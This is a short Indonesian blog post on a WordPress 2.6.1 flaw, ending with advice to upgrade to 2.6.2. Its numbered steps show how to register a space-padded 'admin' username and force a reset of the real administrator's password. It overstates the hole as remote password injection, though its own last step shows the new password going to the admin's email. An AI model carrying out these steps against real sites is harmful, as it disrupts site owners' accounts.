stmikbg-dot-com

Ini judul yang sangat bahaya, berkicau dirumah sendiri sama saja dengan mengundang penyerang. Tapi whatever ini adalah sebuah pembelajaran. Saat ini saya masih menggunakan wp ver 2.6.1 yang disinyalir punya lubang keamanan. Lubang kemanan ini bisa diexploitasi jika web yang menggunakan wp 2.6.1 memperbolehkan pendaftaran user baru.

Lubang keamanan ini bisa menginjeksi password admin secara remote.  Adapun step by step untuk mendapatkan password adminnya yakni :

1. go to url: server.com/wp-login.php?action=register
2. register as:
login: admin                                                       x
email: your email
^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword
4. write your email into field and submit this form
5. check your email and go to reset confirmation link
6. admin's password changed, but new password will be send to correct admin email ;/

Jadi pengguna wp-2.6.1 disarankan untuk melakukan update keversi 2.6.2